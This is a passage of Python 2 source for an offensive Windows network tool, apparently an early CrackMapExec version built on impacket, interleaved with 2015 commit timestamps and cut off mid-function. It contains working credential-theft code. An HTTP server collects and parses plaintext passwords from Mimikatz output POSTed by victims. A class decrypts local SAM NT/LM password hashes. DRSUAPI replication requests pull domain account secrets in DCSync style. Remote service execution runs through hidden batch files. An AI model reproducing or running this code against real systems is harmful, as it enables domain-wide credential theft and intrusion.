2015-08-14 14:18:52 +00:00
#!/usr/bin/env python2
#This must be one of the first imports or else we get threading error on completion
from gevent import monkey
monkey . patch_all ( )
from gevent import sleep
from gevent . pool import Pool
from gevent import joinall
2015-08-29 10:05:27 +00:00
from netaddr import IPNetwork , IPRange , IPAddress , AddrFormatError
2015-08-14 14:18:52 +00:00
from threading import Thread
from base64 import b64encode
from struct import unpack , pack
2015-08-20 21:33:18 +00:00
from collections import OrderedDict
2015-10-06 08:07:28 +00:00
from impacket import smbserver , ntlm , winregistry , uuid , ImpactPacket
from impacket . dcerpc . v5 import transport , scmr , samr , drsuapi , rrp , tsch , srvs , wkst , epm , lsat , lsad , dtypes
from impacket . dcerpc . v5 . samr import SID_NAME_USE
2015-08-14 14:18:52 +00:00
from impacket . dcerpc . v5 . dcomrt import DCOMConnection
from impacket . dcerpc . v5 . dcom import wmi
2015-10-06 08:07:28 +00:00
from impacket . dcerpc . v5 . dtypes import NULL , OWNER_SECURITY_INFORMATION , MAXIMUM_ALLOWED
2015-08-20 21:33:18 +00:00
from impacket . dcerpc . v5 . rpcrt import DCERPCException , RPC_C_AUTHN_LEVEL_PKT_PRIVACY , RPC_C_AUTHN_GSS_NEGOTIATE
from impacket . ese import ESENT_DB
2015-08-14 14:18:52 +00:00
from impacket . structure import Structure
from impacket . nt_errors import STATUS_MORE_ENTRIES
2015-08-21 14:25:04 +00:00
from impacket . nmb import NetBIOSError
2015-08-14 14:18:52 +00:00
from impacket . smbconnection import *
2015-10-09 23:52:33 +00:00
from impacket . smb3structs import FILE_READ_DATA , FILE_WRITE_DATA
2015-08-14 14:18:52 +00:00
from BaseHTTPServer import BaseHTTPRequestHandler
from argparse import RawTextHelpFormatter
from binascii import unhexlify , hexlify
from Crypto . Cipher import DES , ARC4
2015-08-15 20:48:54 +00:00
from datetime import datetime
2015-10-10 22:45:46 +00:00
from time import localtime , time , strftime , gmtime
2015-08-28 19:17:36 +00:00
from termcolor import cprint , colored
2015-08-14 14:18:52 +00:00
2015-08-15 20:48:54 +00:00
import StringIO
2015-10-04 06:04:08 +00:00
import csv
2015-10-09 23:52:33 +00:00
import re
2015-08-15 20:48:54 +00:00
import ntpath
2015-08-15 13:32:57 +00:00
import socket
2015-10-16 21:25:35 +00:00
import ssl
2015-08-14 14:18:52 +00:00
import hashlib
2015-10-06 08:07:28 +00:00
import codecs
2015-08-14 14:18:52 +00:00
import BaseHTTPServer
import logging
import argparse
import traceback
2015-08-20 21:33:18 +00:00
import ConfigParser
2015-08-14 14:18:52 +00:00
import random
import sys
import os
import string
PERM_DIR = ' ' . join ( random . sample ( string . ascii_letters , 10 ) )
OUTPUT_FILENAME = ' ' . join ( random . sample ( string . ascii_letters , 10 ) )
BATCH_FILENAME = ' ' . join ( random . sample ( string . ascii_letters , 10 ) ) + ' .bat '
2015-08-17 16:40:10 +00:00
SMBSERVER_DIR = ' served_over_smb '
2015-08-14 14:18:52 +00:00
DUMMY_SHARE = ' TMP '
2015-10-11 15:30:57 +00:00
print_error = lambda x : cprint ( " [-] " , ' red ' , attrs = [ ' bold ' ] , end = x . decode ( ' utf8 ' ) + ' \n ' )
print_status = lambda x : cprint ( " [*] " , ' blue ' , attrs = [ ' bold ' ] , end = x . decode ( ' utf8 ' ) + ' \n ' )
print_succ = lambda x : cprint ( " [+] " , ' green ' , attrs = [ ' bold ' ] , end = x . decode ( ' utf8 ' ) + ' \n ' )
print_att = lambda x : cprint ( x . decode ( ' utf8 ' ) , ' yellow ' , attrs = [ ' bold ' ] )
yellow = lambda x : colored ( x . decode ( ' utf8 ' ) , ' yellow ' , attrs = [ ' bold ' ] )
green = lambda x : colored ( x . decode ( ' utf8 ' ) , ' green ' , attrs = [ ' bold ' ] )
red = lambda x : colored ( x . decode ( ' utf8 ' ) , ' red ' , attrs = [ ' bold ' ] )
2015-08-28 19:17:36 +00:00
2015-08-14 14:18:52 +00:00
# Structures
# Taken from http://insecurety.net/?p=768
class SAM_KEY_DATA ( Structure ) :
structure = (
( ' Revision ' , ' <L=0 ' ) ,
( ' Length ' , ' <L=0 ' ) ,
( ' Salt ' , ' 16s= " " ' ) ,
( ' Key ' , ' 16s= " " ' ) ,
( ' CheckSum ' , ' 16s= " " ' ) ,
( ' Reserved ' , ' <Q=0 ' ) ,
)
class DOMAIN_ACCOUNT_F ( Structure ) :
structure = (
( ' Revision ' , ' <L=0 ' ) ,
( ' Unknown ' , ' <L=0 ' ) ,
( ' CreationTime ' , ' <Q=0 ' ) ,
( ' DomainModifiedCount ' , ' <Q=0 ' ) ,
( ' MaxPasswordAge ' , ' <Q=0 ' ) ,
( ' MinPasswordAge ' , ' <Q=0 ' ) ,
( ' ForceLogoff ' , ' <Q=0 ' ) ,
( ' LockoutDuration ' , ' <Q=0 ' ) ,
( ' LockoutObservationWindow ' , ' <Q=0 ' ) ,
( ' ModifiedCountAtLastPromotion ' , ' <Q=0 ' ) ,
( ' NextRid ' , ' <L=0 ' ) ,
( ' PasswordProperties ' , ' <L=0 ' ) ,
( ' MinPasswordLength ' , ' <H=0 ' ) ,
( ' PasswordHistoryLength ' , ' <H=0 ' ) ,
( ' LockoutThreshold ' , ' <H=0 ' ) ,
( ' Unknown2 ' , ' <H=0 ' ) ,
( ' ServerState ' , ' <L=0 ' ) ,
( ' ServerRole ' , ' <H=0 ' ) ,
( ' UasCompatibilityRequired ' , ' <H=0 ' ) ,
( ' Unknown3 ' , ' <Q=0 ' ) ,
( ' Key0 ' , ' : ' , SAM_KEY_DATA ) ,
# Commenting this, not needed and not present on Windows 2000 SP0
# ('Key1',':', SAM_KEY_DATA),
# ('Unknown4','<L=0'),
)
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
class USER_ACCOUNT_V ( Structure ) :
structure = (
( ' Unknown ' , ' 12s= " " ' ) ,
( ' NameOffset ' , ' <L=0 ' ) ,
( ' NameLength ' , ' <L=0 ' ) ,
( ' Unknown2 ' , ' <L=0 ' ) ,
( ' FullNameOffset ' , ' <L=0 ' ) ,
( ' FullNameLength ' , ' <L=0 ' ) ,
( ' Unknown3 ' , ' <L=0 ' ) ,
( ' CommentOffset ' , ' <L=0 ' ) ,
( ' CommentLength ' , ' <L=0 ' ) ,
( ' Unknown3 ' , ' <L=0 ' ) ,
( ' UserCommentOffset ' , ' <L=0 ' ) ,
( ' UserCommentLength ' , ' <L=0 ' ) ,
( ' Unknown4 ' , ' <L=0 ' ) ,
( ' Unknown5 ' , ' 12s= " " ' ) ,
( ' HomeDirOffset ' , ' <L=0 ' ) ,
( ' HomeDirLength ' , ' <L=0 ' ) ,
( ' Unknown6 ' , ' <L=0 ' ) ,
( ' HomeDirConnectOffset ' , ' <L=0 ' ) ,
( ' HomeDirConnectLength ' , ' <L=0 ' ) ,
( ' Unknown7 ' , ' <L=0 ' ) ,
( ' ScriptPathOffset ' , ' <L=0 ' ) ,
( ' ScriptPathLength ' , ' <L=0 ' ) ,
( ' Unknown8 ' , ' <L=0 ' ) ,
( ' ProfilePathOffset ' , ' <L=0 ' ) ,
( ' ProfilePathLength ' , ' <L=0 ' ) ,
( ' Unknown9 ' , ' <L=0 ' ) ,
( ' WorkstationsOffset ' , ' <L=0 ' ) ,
( ' WorkstationsLength ' , ' <L=0 ' ) ,
( ' Unknown10 ' , ' <L=0 ' ) ,
( ' HoursAllowedOffset ' , ' <L=0 ' ) ,
( ' HoursAllowedLength ' , ' <L=0 ' ) ,
( ' Unknown11 ' , ' <L=0 ' ) ,
( ' Unknown12 ' , ' 12s= " " ' ) ,
( ' LMHashOffset ' , ' <L=0 ' ) ,
( ' LMHashLength ' , ' <L=0 ' ) ,
( ' Unknown13 ' , ' <L=0 ' ) ,
( ' NTHashOffset ' , ' <L=0 ' ) ,
( ' NTHashLength ' , ' <L=0 ' ) ,
( ' Unknown14 ' , ' <L=0 ' ) ,
( ' Unknown15 ' , ' 24s= " " ' ) ,
( ' Data ' , ' := " " ' ) ,
)
class NL_RECORD ( Structure ) :
structure = (
( ' UserLength ' , ' <H=0 ' ) ,
( ' DomainNameLength ' , ' <H=0 ' ) ,
( ' EffectiveNameLength ' , ' <H=0 ' ) ,
( ' FullNameLength ' , ' <H=0 ' ) ,
( ' MetaData ' , ' 52s= " " ' ) ,
( ' FullDomainLength ' , ' <H=0 ' ) ,
( ' Length2 ' , ' <H=0 ' ) ,
( ' CH ' , ' 16s= " " ' ) ,
( ' T ' , ' 16s= " " ' ) ,
( ' EncryptedData ' , ' : ' ) ,
)
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY ( Structure ) :
structure = (
( ' Value ' , ' 6s ' ) ,
)
class SAMR_RPC_SID ( Structure ) :
structure = (
( ' Revision ' , ' <B ' ) ,
( ' SubAuthorityCount ' , ' <B ' ) ,
( ' IdentifierAuthority ' , ' : ' , SAMR_RPC_SID_IDENTIFIER_AUTHORITY ) ,
( ' SubLen ' , ' _-SubAuthority ' , ' self[ " SubAuthorityCount " ]*4 ' ) ,
( ' SubAuthority ' , ' : ' ) ,
)
def formatCanonical ( self ) :
ans = ' S- %d - %d ' % ( self [ ' Revision ' ] , ord ( self [ ' IdentifierAuthority ' ] [ ' Value ' ] [ 5 ] ) )
for i in range ( self [ ' SubAuthorityCount ' ] ) :
ans + = ' - %d ' % ( unpack ( ' >L ' , self [ ' SubAuthority ' ] [ i * 4 : i * 4 + 4 ] ) [ 0 ] )
return ans
class MimikatzServer ( BaseHTTPRequestHandler ) :
def do_GET ( self ) :
2015-09-13 17:39:39 +00:00
if self . path [ 1 : ] in os . listdir ( ' served_over_http ' ) :
2015-08-14 14:18:52 +00:00
self . send_response ( 200 )
self . end_headers ( )
2015-09-13 17:39:39 +00:00
with open ( ' served_over_http/ ' + self . path [ 1 : ] , ' r ' ) as script :
2015-08-20 21:33:18 +00:00
self . wfile . write ( script . read ( ) )
2015-09-13 17:39:39 +00:00
elif args . path :
if self . path [ 1 : ] == args . path . split ( ' / ' ) [ - 1 ] :
self . send_response ( 200 )
self . end_headers ( )
with open ( args . path , ' rb ' ) as rbin :
self . wfile . write ( rbin . read ( ) )
2015-08-14 14:18:52 +00:00
else :
self . send_response ( 404 )
self . end_headers ( )
def do_POST ( self ) :
self . send_response ( 200 )
self . end_headers ( )
length = int ( self . headers . getheader ( ' content-length ' ) )
data = self . rfile . read ( length )
2015-09-27 12:50:17 +00:00
if args . mimikatz :
buf = StringIO . StringIO ( data ) . readlines ( )
i = 0
while i < len ( buf ) :
if ( ' Password ' in buf [ i ] ) and ( ' (null) ' not in buf [ i ] ) :
passw = buf [ i ] . split ( ' : ' ) [ 1 ] . strip ( )
domain = buf [ i - 1 ] . split ( ' : ' ) [ 1 ] . strip ( )
user = buf [ i - 2 ] . split ( ' : ' ) [ 1 ] . strip ( )
print_succ ( ' {} Found plain text creds! Domain: {} Username: {} Password: {} ' . format ( self . client_address [ 0 ] , yellow ( domain ) , yellow ( user ) , yellow ( passw ) ) )
i + = 1
elif args . mimi_cmd :
print data
log_name = ' Mimikatz- {} - {} .log ' . format ( self . client_address [ 0 ] , datetime . now ( ) . strftime ( " % Y- % m- %d _ % H: % M: % S " ) )
with open ( ' logs/ ' + log_name , ' w ' ) as creds :
2015-08-15 20:48:54 +00:00
creds . write ( data )
2015-09-27 12:50:17 +00:00
print_status ( " {} Saved POST data to {} " . format ( self . client_address [ 0 ] , yellow ( log_name ) ) )
2015-08-14 14:18:52 +00:00
class SMBServer ( Thread ) :
def __init__ ( self ) :
Thread . __init__ ( self )
def run ( self ) :
# Here we write a mini config for the server
smbConfig = ConfigParser . ConfigParser ( )
smbConfig . add_section ( ' global ' )
2015-08-17 16:40:10 +00:00
smbConfig . set ( ' global ' , ' server_name ' , ' yomama ' )
smbConfig . set ( ' global ' , ' server_os ' , ' REDSTAR ' )
2015-08-14 14:18:52 +00:00
smbConfig . set ( ' global ' , ' server_domain ' , ' WORKGROUP ' )
2015-08-17 16:40:10 +00:00
smbConfig . set ( ' global ' , ' log_file ' , ' smb.log ' )
2015-08-14 14:18:52 +00:00
smbConfig . set ( ' global ' , ' credentials_file ' , ' ' )
# Let's add a dummy share
smbConfig . add_section ( DUMMY_SHARE )
smbConfig . set ( DUMMY_SHARE , ' comment ' , ' ' )
smbConfig . set ( DUMMY_SHARE , ' read only ' , ' no ' )
smbConfig . set ( DUMMY_SHARE , ' share type ' , ' 0 ' )
smbConfig . set ( DUMMY_SHARE , ' path ' , SMBSERVER_DIR )
# IPC always needed
smbConfig . add_section ( ' IPC$ ' )
smbConfig . set ( ' IPC$ ' , ' comment ' , ' ' )
smbConfig . set ( ' IPC$ ' , ' read only ' , ' yes ' )
smbConfig . set ( ' IPC$ ' , ' share type ' , ' 3 ' )
smbConfig . set ( ' IPC$ ' , ' path ' )
self . smb = smbserver . SMBSERVER ( ( ' 0.0.0.0 ' , 445 ) , config_parser = smbConfig )
2015-08-17 16:40:10 +00:00
2015-08-14 14:18:52 +00:00
self . smb . processConfigFile ( )
try :
self . smb . serve_forever ( )
except :
pass
def stop ( self ) :
self . smb . socket . close ( )
self . smb . server_close ( )
self . _Thread__stop ( )
class OfflineRegistry :
def __init__ ( self , hiveFile = None , isRemote = False ) :
self . __hiveFile = hiveFile
if self . __hiveFile is not None :
self . __registryHive = winregistry . Registry ( self . __hiveFile , isRemote )
def enumKey ( self , searchKey ) :
parentKey = self . __registryHive . findKey ( searchKey )
if parentKey is None :
return
keys = self . __registryHive . enumKey ( parentKey )
return keys
def enumValues ( self , searchKey ) :
key = self . __registryHive . findKey ( searchKey )
if key is None :
return
values = self . __registryHive . enumValues ( key )
return values
def getValue ( self , keyValue ) :
value = self . __registryHive . getValue ( keyValue )
if value is None :
return
return value
def getClass ( self , className ) :
value = self . __registryHive . getClass ( className )
if value is None :
return
return value
def finish ( self ) :
if self . __hiveFile is not None :
# Remove temp file and whatever else is needed
self . __registryHive . close ( )
class SAMHashes ( OfflineRegistry ) :
def __init__ ( self , samFile , bootKey , isRemote = True ) :
OfflineRegistry . __init__ ( self , samFile , isRemote )
self . __samFile = samFile
self . __hashedBootKey = ' '
self . __bootKey = bootKey
self . __cryptoCommon = CryptoCommon ( )
self . __itemsFound = { }
def MD5 ( self , data ) :
md5 = hashlib . new ( ' md5 ' )
md5 . update ( data )
return md5 . digest ( )
def getHBootKey ( self ) :
2015-08-21 02:55:39 +00:00
#logging.debug('Calculating HashedBootKey from SAM')
2015-08-14 14:18:52 +00:00
QWERTY = " !@#$ % ^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@& % \0 "
DIGITS = " 0123456789012345678901234567890123456789 \0 "
F = self . getValue ( ntpath . join ( ' SAM \ Domains \ Account ' , ' F ' ) ) [ 1 ]
domainData = DOMAIN_ACCOUNT_F ( F )
rc4Key = self . MD5 ( domainData [ ' Key0 ' ] [ ' Salt ' ] + QWERTY + self . __bootKey + DIGITS )
rc4 = ARC4 . new ( rc4Key )
self . __hashedBootKey = rc4 . encrypt ( domainData [ ' Key0 ' ] [ ' Key ' ] + domainData [ ' Key0 ' ] [ ' CheckSum ' ] )
# Verify key with checksum
checkSum = self . MD5 ( self . __hashedBootKey [ : 16 ] + DIGITS + self . __hashedBootKey [ : 16 ] + QWERTY )
if checkSum != self . __hashedBootKey [ 16 : ] :
raise Exception ( ' hashedBootKey CheckSum failed, Syskey startup password probably in use! :( ' )
def __decryptHash ( self , rid , cryptedHash , constant ) :
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
# plus hashedBootKey stuff
Key1 , Key2 = self . __cryptoCommon . deriveKey ( rid )
Crypt1 = DES . new ( Key1 , DES . MODE_ECB )
Crypt2 = DES . new ( Key2 , DES . MODE_ECB )
rc4Key = self . MD5 ( self . __hashedBootKey [ : 0x10 ] + pack ( " <L " , rid ) + constant )
rc4 = ARC4 . new ( rc4Key )
key = rc4 . encrypt ( cryptedHash )
decryptedHash = Crypt1 . decrypt ( key [ : 8 ] ) + Crypt2 . decrypt ( key [ 8 : ] )
return decryptedHash
def dump ( self ) :
NTPASSWORD = " NTPASSWORD \0 "
LMPASSWORD = " LMPASSWORD \0 "
if self . __samFile is None :
# No SAM file provided
return
2015-08-15 13:32:57 +00:00
sam_hashes = [ ]
2015-08-21 02:55:39 +00:00
#logging.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
2015-08-14 14:18:52 +00:00
self . getHBootKey ( )
usersKey = ' SAM \\ Domains \\ Account \\ Users '
# Enumerate all the RIDs
rids = self . enumKey ( usersKey )
# Remove the Names item
try :
rids . remove ( ' Names ' )
except :
pass
for rid in rids :
userAccount = USER_ACCOUNT_V ( self . getValue ( ntpath . join ( usersKey , rid , ' V ' ) ) [ 1 ] )
rid = int ( rid , 16 )
V = userAccount [ ' Data ' ]
userName = V [ userAccount [ ' NameOffset ' ] : userAccount [ ' NameOffset ' ] + userAccount [ ' NameLength ' ] ] . decode ( ' utf-16le ' )
if userAccount [ ' LMHashLength ' ] == 20 :
encLMHash = V [ userAccount [ ' LMHashOffset ' ] + 4 : userAccount [ ' LMHashOffset ' ] + userAccount [ ' LMHashLength ' ] ]
else :
encLMHash = ' '
if userAccount [ ' NTHashLength ' ] == 20 :
encNTHash = V [ userAccount [ ' NTHashOffset ' ] + 4 : userAccount [ ' NTHashOffset ' ] + userAccount [ ' NTHashLength ' ] ]
else :
encNTHash = ' '
lmHash = self . __decryptHash ( rid , encLMHash , LMPASSWORD )
ntHash = self . __decryptHash ( rid , encNTHash , NTPASSWORD )
if lmHash == ' ' :
lmHash = ntlm . LMOWFv1 ( ' ' , ' ' )
if ntHash == ' ' :
ntHash = ntlm . NTOWFv1 ( ' ' , ' ' )
answer = " %s : %d : %s : %s ::: " % ( userName , rid , hexlify ( lmHash ) , hexlify ( ntHash ) )
self . __itemsFound [ rid ] = answer
2015-08-15 13:32:57 +00:00
sam_hashes . append ( answer )
return sam_hashes
2015-08-14 14:18:52 +00:00
def export ( self , fileName ) :
if len ( self . __itemsFound ) > 0 :
items = sorted ( self . __itemsFound )
fd = open ( fileName + ' .sam ' , ' w+ ' )
for item in items :
fd . write ( self . __itemsFound [ item ] + ' \n ' )
fd . close ( )
class CryptoCommon :
# Common crypto stuff used over different classes
def transformKey ( self , InputKey ) :
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
OutputKey = [ ]
OutputKey . append ( chr ( ord ( InputKey [ 0 ] ) >> 0x01 ) )
OutputKey . append ( chr ( ( ( ord ( InputKey [ 0 ] ) & 0x01 ) << 6 ) | ( ord ( InputKey [ 1 ] ) >> 2 ) ) )
OutputKey . append ( chr ( ( ( ord ( InputKey [ 1 ] ) & 0x03 ) << 5 ) | ( ord ( InputKey [ 2 ] ) >> 3 ) ) )
OutputKey . append ( chr ( ( ( ord ( InputKey [ 2 ] ) & 0x07 ) << 4 ) | ( ord ( InputKey [ 3 ] ) >> 4 ) ) )
OutputKey . append ( chr ( ( ( ord ( InputKey [ 3 ] ) & 0x0F ) << 3 ) | ( ord ( InputKey [ 4 ] ) >> 5 ) ) )
OutputKey . append ( chr ( ( ( ord ( InputKey [ 4 ] ) & 0x1F ) << 2 ) | ( ord ( InputKey [ 5 ] ) >> 6 ) ) )
OutputKey . append ( chr ( ( ( ord ( InputKey [ 5 ] ) & 0x3F ) << 1 ) | ( ord ( InputKey [ 6 ] ) >> 7 ) ) )
OutputKey . append ( chr ( ord ( InputKey [ 6 ] ) & 0x7F ) )
for i in range ( 8 ) :
OutputKey [ i ] = chr ( ( ord ( OutputKey [ i ] ) << 1 ) & 0xfe )
return " " . join ( OutputKey )
def deriveKey ( self , baseKey ) :
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
# Let I be the little-endian, unsigned integer.
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
key = pack ( ' <L ' , baseKey )
key1 = key [ 0 ] + key [ 1 ] + key [ 2 ] + key [ 3 ] + key [ 0 ] + key [ 1 ] + key [ 2 ]
key2 = key [ 3 ] + key [ 0 ] + key [ 1 ] + key [ 2 ] + key [ 3 ] + key [ 0 ] + key [ 1 ]
return self . transformKey ( key1 ) , self . transformKey ( key2 )
class RemoteFile :
2015-10-09 23:52:33 +00:00
def __init__ ( self , smbConnection , fileName , share = ' ADMIN$ ' , access = FILE_READ_DATA | FILE_WRITE_DATA ) :
2015-08-14 14:18:52 +00:00
self . __smbConnection = smbConnection
2015-10-09 23:52:33 +00:00
self . __share = share
self . __access = access
2015-08-14 14:18:52 +00:00
self . __fileName = fileName
2015-10-09 23:52:33 +00:00
self . __tid = self . __smbConnection . connectTree ( share )
2015-08-14 14:18:52 +00:00
self . __fid = None
self . __currentOffset = 0
def open ( self ) :
2015-10-09 23:52:33 +00:00
self . __fid = self . __smbConnection . openFile ( self . __tid , self . __fileName , desiredAccess = self . __access )
2015-08-14 14:18:52 +00:00
def seek ( self , offset , whence ) :
# Implement whence, for now it's always from the beginning of the file
if whence == 0 :
self . __currentOffset = offset
def read ( self , bytesToRead ) :
if bytesToRead > 0 :
data = self . __smbConnection . readFile ( self . __tid , self . __fid , self . __currentOffset , bytesToRead )
self . __currentOffset + = len ( data )
return data
return ' '
def close ( self ) :
if self . __fid is not None :
self . __smbConnection . closeFile ( self . __tid , self . __fid )
self . __fid = None
2015-10-09 23:52:33 +00:00
def delete ( self ) :
self . __smbConnection . deleteFile ( self . __share , self . __fileName )
2015-08-14 14:18:52 +00:00
def tell ( self ) :
return self . __currentOffset
def __str__ ( self ) :
2015-10-10 22:45:46 +00:00
return " \\ \\ {} \\ {} \\ {} " . format ( self . __smbConnection . getRemoteHost ( ) , self . __share , self . __fileName )
2015-08-14 14:18:52 +00:00
class RemoteOperations :
def __init__ ( self , smbConnection ) :
self . __smbConnection = smbConnection
self . __smbConnection . setTimeout ( 5 * 60 )
self . __serviceName = ' RemoteRegistry '
self . __stringBindingWinReg = r ' ncacn_np:445[ \ pipe \ winreg] '
self . __rrp = None
self . __regHandle = None
self . __stringBindingSamr = r ' ncacn_np:445[ \ pipe \ samr] '
self . __samr = None
self . __domainHandle = None
self . __domainName = None
self . __drsr = None
self . __hDrs = None
self . __NtdsDsaObjectGuid = None
self . __doKerberos = None
self . __bootKey = ' '
self . __disabled = False
self . __shouldStop = False
self . __started = False
self . __stringBindingSvcCtl = r ' ncacn_np:445[ \ pipe \ svcctl] '
self . __scmr = None
self . __tmpServiceName = None
self . __serviceDeleted = False
2015-08-15 20:48:54 +00:00
self . __batchFile = ' % TEMP % \\ ' + BATCH_FILENAME
2015-08-14 14:18:52 +00:00
self . __shell = ' % COMSPEC % /Q /c '
2015-08-15 20:48:54 +00:00
self . __output = ' % SYSTEMROOT % \\ Temp \\ ' + OUTPUT_FILENAME
2015-08-14 14:18:52 +00:00
self . __answerTMP = ' '
def __connectSvcCtl ( self ) :
rpc = transport . DCERPCTransportFactory ( self . __stringBindingSvcCtl )
rpc . set_smb_connection ( self . __smbConnection )
self . __scmr = rpc . get_dce_rpc ( )
self . __scmr . connect ( )
self . __scmr . bind ( scmr . MSRPC_UUID_SCMR )
def __connectWinReg ( self ) :
rpc = transport . DCERPCTransportFactory ( self . __stringBindingWinReg )
rpc . set_smb_connection ( self . __smbConnection )
self . __rrp = rpc . get_dce_rpc ( )
self . __rrp . connect ( )
self . __rrp . bind ( rrp . MSRPC_UUID_RRP )
def connectSamr ( self , domain ) :
rpc = transport . DCERPCTransportFactory ( self . __stringBindingSamr )
rpc . set_smb_connection ( self . __smbConnection )
self . __samr = rpc . get_dce_rpc ( )
self . __samr . connect ( )
self . __samr . bind ( samr . MSRPC_UUID_SAMR )
resp = samr . hSamrConnect ( self . __samr )
serverHandle = resp [ ' ServerHandle ' ]
resp = samr . hSamrLookupDomainInSamServer ( self . __samr , serverHandle , domain )
resp = samr . hSamrOpenDomain ( self . __samr , serverHandle = serverHandle , domainId = resp [ ' DomainId ' ] )
self . __domainHandle = resp [ ' DomainHandle ' ]
self . __domainName = domain
def __connectDrds ( self ) :
stringBinding = epm . hept_map ( self . __smbConnection . getRemoteHost ( ) , drsuapi . MSRPC_UUID_DRSUAPI ,
protocol = ' ncacn_ip_tcp ' )
rpc = transport . DCERPCTransportFactory ( stringBinding )
if hasattr ( rpc , ' set_credentials ' ) :
# This method exists only for selected protocol sequences.
rpc . set_credentials ( * ( self . __smbConnection . getCredentials ( ) ) )
rpc . set_kerberos ( self . __doKerberos )
self . __drsr = rpc . get_dce_rpc ( )
self . __drsr . set_auth_level ( RPC_C_AUTHN_LEVEL_PKT_PRIVACY )
if self . __doKerberos :
self . __drsr . set_auth_type ( RPC_C_AUTHN_GSS_NEGOTIATE )
self . __drsr . connect ( )
self . __drsr . bind ( drsuapi . MSRPC_UUID_DRSUAPI )
request = drsuapi . DRSBind ( )
request [ ' puuidClientDsa ' ] = drsuapi . NTDSAPI_CLIENT_GUID
drs = drsuapi . DRS_EXTENSIONS_INT ( )
drs [ ' cb ' ] = len ( drs ) #- 4
drs [ ' dwFlags ' ] = drsuapi . DRS_EXT_GETCHGREQ_V6 | drsuapi . DRS_EXT_GETCHGREPLY_V6 | drsuapi . DRS_EXT_GETCHGREQ_V8 | drsuapi . DRS_EXT_STRONG_ENCRYPTION
drs [ ' SiteObjGuid ' ] = drsuapi . NULLGUID
drs [ ' Pid ' ] = 0
drs [ ' dwReplEpoch ' ] = 0
drs [ ' dwFlagsExt ' ] = drsuapi . DRS_EXT_RECYCLE_BIN
drs [ ' ConfigObjGUID ' ] = drsuapi . NULLGUID
drs [ ' dwExtCaps ' ] = 0
request [ ' pextClient ' ] [ ' cb ' ] = len ( drs )
request [ ' pextClient ' ] [ ' rgb ' ] = list ( str ( drs ) )
resp = self . __drsr . request ( request )
self . __hDrs = resp [ ' phDrs ' ]
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi . hDRSDomainControllerInfo ( self . __drsr , self . __hDrs , self . __domainName , 2 )
if resp [ ' pmsgOut ' ] [ ' V2 ' ] [ ' cItems ' ] > 0 :
self . __NtdsDsaObjectGuid = resp [ ' pmsgOut ' ] [ ' V2 ' ] [ ' rItems ' ] [ 0 ] [ ' NtdsDsaObjectGuid ' ]
else :
2015-08-21 02:55:39 +00:00
logging . error ( " Couldn ' t get DC info for domain %s " % self . __domainName )
2015-08-14 14:18:52 +00:00
raise Exception ( ' Fatal, aborting ' )
def getDrsr ( self ) :
return self . __drsr
def DRSCrackNames ( self , formatOffered = drsuapi . DS_NAME_FORMAT . DS_DISPLAY_NAME ,
formatDesired = drsuapi . DS_NAME_FORMAT . DS_FQDN_1779_NAME , name = ' ' ) :
if self . __drsr is None :
self . __connectDrds ( )
resp = drsuapi . hDRSCrackNames ( self . __drsr , self . __hDrs , 0 , formatOffered , formatDesired , ( name , ) )
return resp
def DRSGetNCChanges ( self , userEntry ) :
if self . __drsr is None :
self . __connectDrds ( )
request = drsuapi . DRSGetNCChanges ( )
request [ ' hDrs ' ] = self . __hDrs
request [ ' dwInVersion ' ] = 8
request [ ' pmsgIn ' ] [ ' tag ' ] = 8
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' uuidDsaObjDest ' ] = self . __NtdsDsaObjectGuid
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' uuidInvocIdSrc ' ] = self . __NtdsDsaObjectGuid
dsName = drsuapi . DSNAME ( )
dsName [ ' SidLen ' ] = 0
dsName [ ' Guid ' ] = drsuapi . NULLGUID
dsName [ ' Sid ' ] = ' '
dsName [ ' NameLen ' ] = len ( userEntry )
dsName [ ' StringName ' ] = ( userEntry + ' \x00 ' )
dsName [ ' structLen ' ] = len ( dsName . getData ( ) )
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' pNC ' ] = dsName
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' usnvecFrom ' ] [ ' usnHighObjUpdate ' ] = 0
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' usnvecFrom ' ] [ ' usnHighPropUpdate ' ] = 0
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' pUpToDateVecDest ' ] = NULL
2015-08-26 11:44:10 +00:00
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' ulFlags ' ] = drsuapi . DRS_INIT_SYNC | drsuapi . DRS_WRIT_REP
2015-08-14 14:18:52 +00:00
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' cMaxObjects ' ] = 1
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' cMaxBytes ' ] = 0
2015-08-26 11:44:10 +00:00
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' ulExtendedOp ' ] = drsuapi . EXOP_REPL_OBJ
2015-08-14 14:18:52 +00:00
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' pPartialAttrSet ' ] = NULL
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' pPartialAttrSetEx1 ' ] = NULL
request [ ' pmsgIn ' ] [ ' V8 ' ] [ ' PrefixTableDest ' ] [ ' pPrefixEntry ' ] = NULL
return self . __drsr . request ( request )
def getDomainUsers ( self , enumerationContext = 0 ) :
if self . __samr is None :
self . connectSamr ( self . getMachineNameAndDomain ( ) [ 1 ] )
try :
resp = samr . hSamrEnumerateUsersInDomain ( self . __samr , self . __domainHandle ,
userAccountControl = samr . USER_NORMAL_ACCOUNT | \
samr . USER_WORKSTATION_TRUST_ACCOUNT | \
samr . USER_SERVER_TRUST_ACCOUNT | \
